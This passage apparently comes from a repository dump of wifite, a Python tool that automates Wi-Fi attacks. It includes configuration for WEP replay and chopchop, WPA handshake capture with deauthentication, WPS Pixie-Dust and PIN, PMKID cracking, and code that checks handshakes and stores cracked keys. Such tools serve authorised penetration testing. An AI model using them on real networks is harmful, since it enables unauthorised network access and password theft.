restart.\n        cls.wep_restart_aircrack = 30  # Seconds to give aircrack to crack\n                                                 # before restarting the process.\n        cls.wep_crack_at_ivs = 10000   # Number of IVS to start cracking\n        cls.wep_keep_ivs = False       # Retain .ivs files across multiple attacks.\n\n        # WPA variables\n        cls.wpa_filter = False # Only attack WPA networks\n        cls.wpa_deauth_timeout = 15 # Wait time between deauths\n        cls.wpa_attack_timeout = 500 # Wait time before failing\n        cls.wpa_handshake_dir = 'hs' # Dir to store handshakes\n        cls.wpa_strip_handshake = False # Strip non-handshake packets\n        cls.ignore_old_handshakes = False # Always fetch a new handshake\n\n        # PMKID variables\n        cls.use_pmkid_only = False  # Only use PMKID Capture+Crack attack\n        cls.pmkid_timeout = 30  # Time to wait for PMKID capture\n\n        # Default dictionary for cracking\n        cls.cracked_file = 'cracked.txt'\n        cls.wordlist = None\n        wordlists = [\n            './wordlist-top4800-probable.txt',  # Local file (ran from cloned repo)\n            '/usr/share/dict/wordlist-top4800-probable.txt',  # setup.py with prefix=/usr\n            '/usr/local/share/dict/wordlist-top4800-probable.txt',  # setup.py with prefix=/usr/local\n            # Other passwords found on Kali\n            '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',\n            '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',\n            '/usr/share/wordlists/fern-wifi/common.txt'\n        ]\n        for wlist in wordlists:\n            if os.path.exists(wlist):\n                cls.wordlist = wlist\n                break\n\n        # WPS variables\n        cls.wps_filter  = False  # Only attack WPS networks\n        cls.no_wps      = False  # Do not use WPS attacks (Pixie-Dust & PIN attacks)\n        cls.wps_only    = False  # ONLY use WPS attacks on non-WEP networks\n        cls.use_bully   = False  # Use bully instead of reaver\n        cls.wps_pixie   = True\n        cls.wps_pin     = True\n        cls.wps_ignore_lock = False  # Skip WPS PIN attack if AP is locked.\n        cls.wps_pixie_timeout = 300      # Seconds to wait for PIN before WPS Pixie attack fails\n        cls.wps_fail_threshold = 100     # Max number of failures\n        cls.wps_timeout_threshold = 100  # Max number of timeouts\n\n        # Commands\n        cls.show_cracked = False\n        cls.check_handshake = None\n        cls.crack_handshake = False\n\n        # Overwrite config values with arguments (if defined)\n        cls.load_from_arguments()\n\n        if load_interface:\n            cls.get_monitor_mode_interface()\n\n\n    @classmethod\n    def get_monitor_mode_interface(cls):\n        if cls.interface is None:\n            # Interface wasn't defined, select it!\n            from .tools.airmon import Airmon\n            cls.interface = Airmon.ask()\n            if cls.random_mac:\n                Macchanger.random()\n\n    @classmethod\n    def load_from_arguments(cls):\n        ''' Sets configuration values based on Argument.args object '''\n        from .args import Arguments\n\n        args = Arguments(cls).args\n        cls.parse_settings_args(args)\n        cls.parse_wep_args(args)\n        cls.parse_wpa_args(args)\n        cls.parse_wps_args(args)\n        cls.parse_pmkid_args(args)\n        cls.parse_encryption()\n\n        # EvilTwin\n        '''\n        if args.use_eviltwin:\n            cls.use_eviltwin = True\n            Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets')\n        '''\n\n        cls.parse_wep_attacks()\n\n        cls.validate()\n\n        # Commands\n        if args.cracked:         cls.show_cracked = True\n        if args.check_handshake: cls.check_handshake = args.check_handshake\n        if args.crack_handshake: cls.crack_handshake = True\n\n\n    @classmethod\n    def validate(cls):\n        if cls.use_pmkid_only and cls.wps_only:\n            Color.pl('{!} {R}Bad Configuration:{O} --pmkid and --wps-only are not compatible')\n            raise RuntimeError('Unable to attack networks: --pmkid and --wps-only are not compatible together')\n\n\n    @classmethod\n    def parse_settings_args(cls, args):\n        '''Parses basic settings/configurations from arguments.'''\n        if args.random_mac:\n            cls.random_mac = True\n            Color.pl('{+} {C}option:{W} using {G}random mac address{W} ' +\n                    'when scanning & attacking')\n\n        if args.channel:\n            cls.target_channel = args.channel\n            Color.pl('{+} {C}option:{W} scanning for targets on channel ' +\n                    '{G}%s{W}' % args.channel)\n\n        if args.interface:\n            cls.interface = args.interface\n            Color.pl('{+} {C}option:{W} using wireless interface ' +\n                    '{G}%s{W}' % args.interface)\n\n        if args.target_bssid:\n            cls.target_bssid = args.target_bssid\n            Color.pl('{+} {C}option:{W} targeting BSSID ' +\n                    '{G}%s{W}' % args.target_bssid)\n\n        if args.five_ghz == True:\n            cls.five_ghz = True\n            Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans')\n\n        if args.show_bssids == True:\n            cls.show_bssids = True\n            Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan')\n\n        if args.no_deauth == True:\n            cls.no_deauth = True\n            Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients ' +\n                    'during scans or captures')\n\n        if args.num_deauths and args.num_deauths > 0:\n            cls.num_deauths = args.num_deauths\n            Color.pl('{+} {C}option:{W} send {G}%d{W} deauth packets when deauthing' % (\n                cls.num_deauths))\n\n        if args.target_essid:\n            cls.target_essid = args.target_essid\n            Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid)\n\n        if args.ignore_essid is not None:\n            cls.ignore_essid = args.ignore_essid\n            Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % (\n                args.ignore_essid))\n\n        if args.clients_only == True:\n            cls.clients_only = True\n            Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have ' +\n                'associated clients')\n\n        if args.scan_time:\n            cls.scan_time = args.scan_time\n            Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets ' +\n                'after {G}%d{W}s' % args.scan_time)\n\n        if args.verbose:\n            cls.verbose = args.verbose\n            Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose)\n\n        if args.kill_conflicting_processes:\n            cls.kill_conflicting_processes = True\n            Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')\n\n\n    @classmethod\n    def parse_wep_args(cls, args):\n        '''Parses WEP-specific arguments'''\n        if args.wep_filter:\n            cls.wep_filter = args.wep_filter\n\n        if args.wep_pps:\n            cls.wep_pps = args.wep_pps\n            Color.pl('{+} {C}option:{W} using {G}%d{W} packets/sec on WEP attacks' % (\n                args.wep_pps))\n\n        if args.wep_timeout:\n            cls.wep_timeout = args.wep_timeout\n            Color.pl('{+} {C}option:{W} WEP attack timeout set to ' +\n                '{G}%d seconds{W}' % args.wep_timeout)\n\n        if args.require_fakeauth:\n            cls.require_fakeauth = True\n            Color.pl('{+} {C}option:{W} fake-authentication is ' +\n                '{G}required{W} for WEP attacks')\n\n        if args.wep_crack_at_ivs:\n            cls.wep_crack_at_ivs = args.wep_crack_at_ivs\n            Color.pl('{+} {C}option:{W} will start cracking WEP keys at ' +\n                '{G}%d IVs{W}' % args.wep_crack_at_ivs)\n\n        if args.wep_restart_stale_ivs:\n            cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs\n            Color.pl('{+} {C}option:{W} will restart aireplay after ' +\n                '{G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs)\n\n        if args.wep_restart_aircrack:\n            cls.wep_restart_aircrack = args.wep_restart_aircrack\n            Color.pl('{+} {C}option:{W} will restart aircrack every ' +\n                '{G}%d seconds{W}' % args.wep_restart_aircrack)\n\n        if args.wep_keep_ivs:\n            cls.wep_keep_ivs = args.wep_keep_ivs\n            Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks')\n\n    @classmethod\n    def parse_wpa_args(cls, args):\n        '''Parses WPA-specific arguments'''\n        if args.wpa_filter:\n            cls.wpa_filter = args.wpa_filter\n\n        if args.wordlist:\n            if not os.path.exists(args.wordlist):\n                cls.wordlist = None\n                Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist)\n            elif os.path.isfile(args.wordlist):\n                cls.wordlist = args.wordlist\n                Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist)\n            elif os.path.isdir(args.wordlist):\n                cls.wordlist = None\n                Color.pl('{+} {C}option:{O} wordlist {R}%s{O} is a directory, not a file. Wifite will NOT attempt to crack handshakes' % args.wordlist)\n\n        if args.wpa_deauth_timeout:\n            cls.wpa_deauth_timeout = args.wpa_deauth_timeout\n            Color.pl('{+} {C}option:{W} will deauth WPA clients every ' +\n                    '{G}%d seconds{W}' % args.wpa_deauth_timeout)\n\n        if args.wpa_attack_timeout:\n            cls.wpa_attack_timeout = args.wpa_attack_timeout\n            Color.pl('{+} {C}option:{W} will stop WPA handshake capture after ' +\n                    '{G}%d seconds{W}' % args.wpa_attack_timeout)\n\n        if args.ignore_old_handshakes:\n            cls.ignore_old_handshakes = True\n            Color.pl('{+} {C}option:{W} will {O}ignore{W} existing handshakes ' +\n                    '(force capture)')\n\n        if args.wpa_handshake_dir:\n            cls.wpa_handshake_dir = args.wpa_handshake_dir\n            Color.pl('{+} {C}option:{W} will store handshakes to ' +\n                    '{G}%s{W}' % args.wpa_handshake_dir)\n\n        if args.wpa_strip_handshake:\n            cls.wpa_strip_handshake = True\n            Color.pl('{+} {C}option:{W} will {G}strip{W} non-handshake packets')\n\n    @classmethod\n    def parse_wps_args(cls, args):\n        '''Parses WPS-specific arguments'''\n        if args.wps_filter:\n            cls.wps_filter = args.wps_filter\n\n        if args.wps_only:\n            cls.wps_only = True\n            cls.wps_filter = True  # Also only show WPS networks\n            Color.pl('{+} {C}option:{W} will *only* attack WPS networks with ' +\n                    '{G}WPS attacks{W} (avoids handshake and PMKID)')\n\n        if args.no_wps:\n            # No WPS attacks at all\n            cls.no_wps = args.no_wps\n            cls.wps_pixie = False\n            cls.wps_pin = False\n            Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} ' +\n                    '(Pixie-Dust/PIN) on targets')\n\n        elif args.wps_pixie:\n            # WPS Pixie-Dust only\n            cls.wps_pixie = True\n            cls.wps_pin = False\n            Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS Pixie-Dust ' +\n                    'attack{W} (no {O}PIN{W}) on targets')\n\n        elif args.wps_no_pixie:\n            # WPS PIN only\n            cls.wps_pixie = False\n            cls.wps_pin = True\n            Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS PIN attack{W} ' +\n                    '(no {O}Pixie-Dust{W}) on targets')\n\n        if args.use_bully:\n            from .tools.bully import Bully\n            if not Bully.exists():\n                Color.pl('{!} {R}Bully not found. Defaulting to {O}reaver{W}')\n                cls.use_bully = False\n            else:\n                cls.use_bully = args.use_bully\n                Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} ' +\n                        'for WPS Attacks')\n\n        if args.wps_pixie_timeout:\n            cls.wps_pixie_timeout = args.wps_pixie_timeout\n            Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after ' +\n                    '{O}%d seconds{W}' % args.wps_pixie_timeout)\n\n        if args.wps_fail_threshold:\n            cls.wps_fail_threshold = args.wps_fail_threshold\n            Color.pl('{+} {C}option:{W} will stop WPS attack after ' +\n                    '{O}%d failures{W}' % args.wps_fail_threshold)\n\n        if args.wps_timeout_threshold:\n            cls.wps_timeout_threshold = args.wps_timeout_threshold\n            Color.pl('{+} {C}option:{W} will stop WPS attack after ' +\n                    '{O}%d timeouts{W}' % args.wps_timeout_threshold)\n\n        if args.wps_ignore_lock:\n            cls.wps_ignore_lock = True\n            Color.pl('{+} {C}option:{W} will {O}ignore{W} WPS lock-outs')\n\n    @classmethod\n    def parse_pmkid_args(cls, args):\n        if args.use_pmkid_only:\n            cls.use_pmkid_only = True\n            Color.pl('{+} {C}option:{W} will ONLY use {C}PMKID{W} attack on WPA networks')\n\n        if args.pmkid_timeout:\n            cls.pmkid_timeout = args.pmkid_timeout\n            Color.pl('{+} {C}option:{W} will wait {G}%d seconds{W} during {C}PMKID{W} capture' % args.pmkid_timeout)\n\n    @classmethod\n    def parse_encryption(cls):\n        '''Adjusts encryption filter (WEP and/or WPA and/or WPS)'''\n        cls.encryption_filter = []\n        if cls.wep_filter: cls.encryption_filter.append('WEP')\n        if cls.wpa_filter: cls.encryption_filter.append('WPA')\n        if cls.wps_filter: cls.encryption_filter.append('WPS')\n\n        if len(cls.encryption_filter) == 3:\n            Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}')\n        elif len(cls.encryption_filter) == 0:\n            # Default to scan all types\n            cls.encryption_filter = ['WEP', 'WPA', 'WPS']\n        else:\n            Color.pl('{+} {C}option:{W} ' +\n                     'targeting {G}%s-encrypted{W} networks'\n                        % '/'.join(cls.encryption_filter))\n\n    @classmethod\n    def parse_wep_attacks(cls):\n        '''Parses and sets WEP-specific args (-chopchop, -fragment, etc)'''\n        cls.wep_attacks = []\n        from sys import argv\n        seen = set()\n        for arg in argv:\n            if arg in seen: continue\n            seen.add(arg)\n            if arg == '-arpreplay':  cls.wep_attacks.append('replay')\n            if arg == '-fragment':   cls.wep_attacks.append('fragment')\n            if arg == '-chopchop':   cls.wep_attacks.append('chopchop')\n            if arg == '-caffelatte': cls.wep_attacks.append('caffelatte')\n            if arg == '-p0841':      cls.wep_attacks.append('p0841')\n            if arg == '-hirte':      cls.wep_attacks.append('hirte')\n\n        if len(cls.wep_attacks) == 0:\n            # Use all attacks\n            cls.wep_attacks = ['replay',\n                'fragment',\n                'chopchop',\n                'caffelatte',\n                'p0841',\n                'hirte'\n            ]\n        elif len(cls.wep_attacks) > 0:\n            Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks'\n                % '{W}, {G}'.join(cls.wep_attacks))\n\n\n    @classmethod\n    def temp(cls, subfile=''):\n        ''' Creates and/or returns the temporary directory '''\n        if cls.temp_dir is None:\n            cls.temp_dir = cls.create_temp()\n        return cls.temp_dir + subfile\n\n    @staticmethod\n    def create_temp():\n        ''' Creates and returns a temporary directory '''\n        from tempfile import mkdtemp\n        tmp = mkdtemp(prefix='wifite')\n        if not tmp.endswith(os.sep):\n            tmp += os.sep\n        return tmp\n\n    @classmethod\n    def delete_temp(cls):\n        ''' Remove temp files and folder '''\n        if cls.temp_dir is None: return\n        if os.path.exists(cls.temp_dir):\n            for f in os.listdir(cls.temp_dir):\n                os.remove(cls.temp_dir + f)\n            os.rmdir(cls.temp_dir)\n\n\n    @classmethod\n    def exit_gracefully(cls, code=0):\n        ''' Deletes temp and exist with the given code '''\n        cls.delete_temp()\n        Macchanger.reset_if_changed()\n        from .tools.airmon import Airmon\n        if cls.interface is not None and Airmon.base_interface is not None:\n            Color.pl('{!} {O}Note:{W} Leaving interface in Monitor Mode!')\n            Color.pl('{!} To disable Monitor Mode when finished: ' +\n                    '{C}airmon-ng stop %s{W}' % cls.interface)\n\n            # Stop monitor mode\n            #Airmon.stop(cls.interface)\n            # Bring original interface back up\n            #Airmon.put_interface_up(Airmon.base_interface)\n\n        if Airmon.killed_network_manager:\n            Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})')\n            #Airmon.start_network_manager()\n\n        exit(code)\n\n    @classmethod\n    def dump(cls):\n        ''' (Colorful) string representation of the configuration '''\n        from .util.color import Color\n\n        max_len = 20\n        for key in cls.__dict__.keys():\n            max_len = max(max_len, len(key))\n\n        result  = Color.s('{W}%s  Value{W}\\n' % 'cls Key'.ljust(max_len))\n        result += Color.s('{W}%s------------------{W}\\n' % ('-' * max_len))\n\n        for (key,val) in sorted(cls.__dict__.items()):\n            if key.startswith('__') or type(val) in [classmethod, staticmethod] or val is None:\n                continue\n            result += Color.s('{G}%s {W} {C}%s{W}\\n' % (key.ljust(max_len),val))\n        return result\n\nif __name__ == '__main__':\n    Configuration.initialize(False)\n    print(Configuration.dump())\n"
  },
  {
    "path": "wifite/model/__init__.py",
    "content": ""
  },
  {
    "path": "wifite/model/attack.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\n\nclass Attack(object):\n    '''Contains functionality common to all attacks.'''\n\n    target_wait = 60\n\n    def __init__(self, target):\n        self.target = target\n\n    def run(self):\n        raise Exception('Unimplemented method: run')\n\n    def wait_for_target(self, airodump):\n        '''Waits for target to appear in airodump.'''\n        start_time = time.time()\n        targets = airodump.get_targets(apply_filter=False)\n        while len(targets) == 0:\n            # Wait for target to appear in airodump.\n            if int(time.time() - start_time) > Attack.target_wait:\n                raise Exception('Target did not appear after %d seconds, stopping' % Attack.target_wait)\n            time.sleep(1)\n            targets = airodump.get_targets()\n            continue\n\n        # Ensure this target was seen by airodump\n        airodump_target = None\n        for t in targets:\n            if t.bssid == self.target.bssid:\n                airodump_target = t\n                break\n\n        if airodump_target is None:\n            raise Exception(\n                'Could not find target (%s) in airodump' % self.target.bssid)\n\n        return airodump_target\n\n"
  },
  {
    "path": "wifite/model/client.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nclass Client(object):\n    '''\n        Holds details for a 'Client' - a wireless device (e.g. computer)\n        that is associated with an Access Point (e.g. router)\n    '''\n\n    def __init__(self, fields):\n        '''\n            Initializes & stores client info based on fields.\n            Args:\n                Fields - List of strings\n                INDEX KEY\n                    0 Station MAC (client's MAC address)\n                    1 First time seen,\n                    2 Last time seen,\n                    3 Power,\n                    4 # packets,\n                    5 BSSID, (Access Point's MAC address)\n                    6 Probed ESSIDs\n        '''\n        self.station =     fields[0].strip()\n        self.power   = int(fields[3].strip())\n        self.packets = int(fields[4].strip())\n        self.bssid   =     fields[5].strip()\n\n\n    def __str__(self):\n        ''' String representation of a Client '''\n        result = ''\n        for (key,value) in self.__dict__.items():\n            result += key + ': ' + str(value)\n            result += ', '\n        return result\n\n\nif __name__ == '__main__':\n    fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:43:47, 2015-05-27 19:43:47, -67,        2, (not associated) ,HOME-ABCD'.split(',')\n    c = Client(fields)\n    print('Client', c)\n"
  },
  {
    "path": "wifite/model/handshake.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.process import Process\nfrom ..util.color import Color\nfrom ..tools.tshark import Tshark\nfrom ..tools.pyrit import Pyrit\n\nimport re, os\n\nclass Handshake(object):\n\n    def __init__(self, capfile, bssid=None, essid=None):\n        self.capfile = capfile\n        self.bssid = bssid\n        self.essid = essid\n\n\n    def divine_bssid_and_essid(self):\n        '''\n            Tries to find BSSID and ESSID from cap file.\n            Sets this instances 'bssid' and 'essid' instance fields.\n        '''\n\n        # We can get BSSID from the .cap filename if Wifite captured it.\n        # ESSID is stripped of non-printable characters, so we can't rely on that.\n        if self.bssid is None:\n            hs_regex = re.compile(r'^.*handshake_\\w+_([0-9A-F\\-]{17})_.*\\.cap$', re.IGNORECASE)\n            match = hs_regex.match(self.capfile)\n            if match:\n                self.bssid = match.group(1).replace('-', ':')\n\n        # Get list of bssid/essid pairs from cap file\n        pairs = Tshark.bssid_essid_pairs(self.capfile, bssid=self.bssid)\n\n        if len(pairs) == 0:\n            pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit\n\n        if len(pairs) == 0 and not self.bssid and not self.essid:\n            # Tshark and Pyrit failed us, nothing else we can do.\n            raise ValueError('Cannot find BSSID or ESSID in cap file %s' % self.capfile)\n\n        if not self.essid and not self.bssid:\n            # We do not know the bssid nor the essid\n            # TODO: Display menu for user to select from list\n            # HACK: Just use the first one we see\n            self.bssid = pairs[0][0]\n            self.essid = pairs[0][1]\n            Color.pl('{!} {O}Warning{W}: {O}Arbitrarily selected ' +\n                    '{R}bssid{O} {C}%s{O} and {R}essid{O} \"{C}%s{O}\"{W}' % (self.bssid, self.essid))\n\n        elif not self.bssid:\n            # We already know essid\n            for (bssid, essid) in pairs:\n                if self.essid == essid:\n                    Color.pl('{+} Discovered bssid {C}%s{W}' % bssid)\n                    self.bssid = bssid\n                    break\n\n        elif not self.essid:\n            # We already know bssid\n            for (bssid, essid) in pairs:\n                if self.bssid.lower() == bssid.lower():\n                    Color.pl('{+} Discovered essid \"{C}%s{W}\"' % essid)\n                    self.essid = essid\n                    break\n\n\n    def has_handshake(self):\n        if not self.bssid or not self.essid:\n            self.divine_bssid_and_essid()\n\n        if len(self.tshark_handshakes()) > 0:   return True\n        if len(self.pyrit_handshakes()) > 0:    return True\n\n        # TODO: Can we trust cowpatty & aircrack?\n        #if len(self.cowpatty_handshakes()) > 0: return True\n        #if len(self.aircrack_handshakes()) > 0: return True\n\n        return False\n\n\n    def tshark_handshakes(self):\n        '''Returns list[tuple] of BSSID & ESSID pairs (ESSIDs are always `None`).'''\n        tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid)\n        return [(bssid, None) for bssid in tshark_bssids]\n\n\n    def cowpatty_handshakes(self):\n        '''Returns list[tuple] of BSSID & ESSID pairs (BSSIDs are always `None`).'''\n        if not Process.exists('cowpatty'):\n            return []\n        if not self.essid:\n            return [] # We need a essid for cowpatty :(\n\n        command = [\n            'cowpatty',\n            '-r', self.capfile,\n            '-s', self.essid,\n            '-c' # Check for handshake\n        ]\n\n        proc = Process(command, devnull=False)\n        for line in proc.stdout().split('\\n'):\n            if 'Collected all necessary data to mount crack against WPA' in line:\n                return [(None, self.essid)]\n        return []\n\n\n    def pyrit_handshakes(self):\n        '''Returns list[tuple] of BSSID & ESSID pairs.'''\n        return Pyrit.bssid_essid_with_handshakes(\n                self.capfile, bssid=self.bssid, essid=self.essid)\n\n\n    def aircrack_handshakes(self):\n        '''Returns tuple (BSSID,None) if aircrack thinks self.capfile contains a handshake / can be cracked'''\n        if not self.bssid:\n            return []  # Aircrack requires BSSID\n\n        command = 'echo \"\" | aircrack-ng -a 2 -w - -b %s \"%s\"' % (self.bssid, self.capfile)\n        (stdout, stderr) = Process.call(command)\n\n        if 'passphrase not in dictionary' in stdout.lower():\n            return [(self.bssid, None)]\n        else:\n            return []\n\n\n    def analyze(self):\n        '''Prints analysis of handshake capfile'''\n        self.divine_bssid_and_essid()\n\n        if Tshark.exists():\n            Handshake.print_pairs(self.tshark_handshakes(),   self.capfile, 'tshark')\n\n        if Pyrit.exists():\n            Handshake.print_pairs(self.pyrit_handshakes(),    self.capfile, 'pyrit')\n\n        if Process.exists('cowpatty'):\n            Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty')\n\n        Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack')\n\n\n    def strip(self, outfile=None):\n        # XXX: This method might break aircrack-ng, use at own risk.\n        '''\n            Strips out packets from handshake that aren't necessary to crack.\n            Leaves only handshake packets and SSID broadcast (for discovery).\n            Args:\n                outfile - Filename to save stripped handshake to.\n                          If outfile==None, overwrite existing self.capfile.\n        '''\n        if not outfile:\n            outfile = self.capfile + '.temp'\n            replace_existing_file = True\n        else:\n            replace_existing_file = False\n\n        cmd = [\n            'tshark',\n            '-r', self.capfile, # input file\n            '-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter\n            '-w', outfile # output file\n        ]\n        proc = Process(cmd)\n        proc.wait()\n        if replace_existing_file:\n            from shutil import copy\n            copy(outfile, self.capfile)\n            os.remove(outfile)\n            pass\n\n\n    @staticmethod\n    def print_pairs(pairs, capfile, tool=None):\n        '''\n            Prints out BSSID and/or ESSID given a list of tuples (bssid,essid)\n        '''\n        tool_str = ''\n        if tool is not None:\n            tool_str = '{C}%s{W}: ' % tool.rjust(8)\n\n        if len(pairs) == 0:\n            Color.pl('{!} %s.cap file {R}does not{O} contain a valid handshake{W}' % (tool_str))\n            return\n\n        for (bssid, essid) in pairs:\n            out_str = '{+} %s.cap file {G}contains a valid handshake{W} for' % tool_str\n            if bssid and essid:\n                Color.pl('%s {G}%s{W} ({G}%s{W})' % (out_str, bssid, essid))\n            elif bssid:\n                Color.pl('%s {G}%s{W}' % (out_str, bssid))\n            elif essid:\n                Color.pl('%s ({G}%s{W})' % (out_str, essid))\n\n\n    @staticmethod\n    def check():\n        ''' Analyzes .cap file(s) for handshake '''\n        from ..config import Configuration\n        if Configuration.check_handshake == '<all>':\n            Color.pl('{+} checking all handshakes in {G}\"./hs\"{W} directory\\n')\n            try:\n                capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]\n            except OSError as e:\n                capfiles = []\n            if len(capfiles) == 0:\n                Color.pl('{!} {R}no .cap files found in {O}\"./hs\"{W}\\n')\n        else:\n            capfiles = [Configuration.check_handshake]\n\n        for capfile in capfiles:\n            Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)\n            if not os.path.exists(capfile):\n                Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)\n                return\n            hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)\n            hs.analyze()\n            Color.pl('')\n\n\nif __name__ == '__main__':\n    print('With BSSID & ESSID specified:')\n    hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi')\n    hs.analyze()\n    print('has_hanshake() =', hs.has_handshake())\n\n    print('\\nWith BSSID, but no ESSID specified:')\n    hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18')\n    hs.analyze()\n    print('has_hanshake() =', hs.has_handshake())\n\n    print('\\nWith ESSID, but no BSSID specified:')\n    hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi')\n    hs.analyze()\n    print('has_hanshake() =', hs.has_handshake())\n\n    print('\\nWith neither BSSID nor ESSID specified:')\n    hs = Handshake('./tests/files/handshake_has_1234.cap')\n    try:\n        hs.analyze()\n        print('has_hanshake() =', hs.has_handshake())\n    except Exception as e:\n        Color.pl('{O}Error during Handshake.analyze(): {R}%s{W}' % e)\n"
  },
  {
    "path": "wifite/model/pmkid_result.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom .result import CrackResult\n\nclass CrackResultPMKID(CrackResult):\n    def __init__(self, bssid, essid, pmkid_file, key):\n        self.result_type = 'PMKID'\n        self.bssid = bssid\n        self.essid = essid\n        self.pmkid_file = pmkid_file\n        self.key = key\n        super(CrackResultPMKID, self).__init__()\n\n    def dump(self):\n        if self.essid:\n            Color.pl('{+} %s: {C}%s{W}' %\n                ('Access Point Name'.rjust(19), self.essid))\n        if self.bssid:\n            Color.pl('{+} %s: {C}%s{W}' %\n                ('Access Point BSSID'.rjust(19), self.bssid))\n        Color.pl('{+} %s: {C}%s{W}' %\n            ('Encryption'.rjust(19), self.result_type))\n        if self.pmkid_file:\n            Color.pl('{+} %s: {C}%s{W}' %\n                ('PMKID File'.rjust(19), self.pmkid_file))\n        if self.key:\n            Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))\n        else:\n            Color.pl('{!} %s  {O}key unknown{W}' % ''.rjust(19))\n\n    def print_single_line(self, longest_essid):\n        self.print_single_line_prefix(longest_essid)\n        Color.p('{G}%s{W}' % 'PMKID'.ljust(5))\n        Color.p('  ')\n        Color.p('Key: {G}%s{W}' % self.key)\n        Color.pl('')\n\n    def to_dict(self):\n        return {\n            'type'  : self.result_type,\n            'date'  : self.date,\n            'essid' : self.essid,\n            'bssid' : self.bssid,\n            'key'   : self.key,\n            'pmkid_file' : self.pmkid_file\n        }\n\nif __name__ == '__main__':\n    w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234')\n    w.dump()\n\n    w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key')\n    print('\\n')\n    w.dump()\n    w.save()\n    print(w.__dict__['bssid'])\n\n\n"
  },
  {
    "path": "wifite/model/result.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom ..config import Configuration\n\nimport os\nimport time\nfrom json import loads, dumps\n\nclass CrackResult(object):\n    ''' Abstract class containing results from a crack session '''\n\n    # File to save cracks to, in PWD\n    cracked_file = Configuration.cracked_file\n\n    def __init__(self):\n        self.date = int(time.time())\n        self.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.date))\n\n    def dump(self):\n        raise Exception('Unimplemented method: dump()')\n\n    def to_dict(self):\n        raise Exception('Unimplemented method: to_dict()')\n\n    def print_single_line(self, longest_essid):\n        raise Exception('Unimplemented method: print_single_line()')\n\n    def print_single_line_prefix(self, longest_essid):\n        essid = self.essid if self.essid else 'N/A'\n        Color.p('{W} ')\n        Color.p('{C}%s{W}' % essid.ljust(longest_essid))\n        Color.p('  ')\n        Color.p('{GR}%s{W}' % self.bssid.ljust(17))\n        Color.p('  ')\n        Color.p('{D}%s{W}' % self.readable_date.ljust(19))\n        Color.p('  ')\n\n    def save(self):\n        ''' Adds this crack result to the cracked file and saves it. '''\n        name = CrackResult.cracked_file\n        saved_results = []\n        if os.path.exists(name):\n            with open(name, 'r') as fid:\n                text = fid.read()\n            try:\n                saved_results = loads(text)\n            except Exception as e:\n                Color.pl('{!} error while loading %s: %s' % (name, str(e)))\n\n        # Check for duplicates\n        this_dict = self.to_dict()\n        this_dict.pop('date')\n        for entry in saved_results:\n            this_dict['date'] = entry.get('date')\n            if entry == this_dict:\n                # Skip if we already saved this BSSID+ESSID+TYPE+KEY\n                Color.pl('{+} {C}%s{O} already exists in {G}%s{O}, skipping.' % (\n                    self.essid, Configuration.cracked_file))\n                return\n\n        saved_results.append(self.to_dict())\n        with open(name, 'w') as fid:\n            fid.write(dumps(saved_results, indent=2))\n        Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'\n            % (name, len(saved_results)))\n\n    @classmethod\n    def display(cls):\n        ''' Show cracked targets from cracked file '''\n        name = cls.cracked_file\n        if not os.path.exists(name):\n            Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)\n            return\n\n        with open(name, 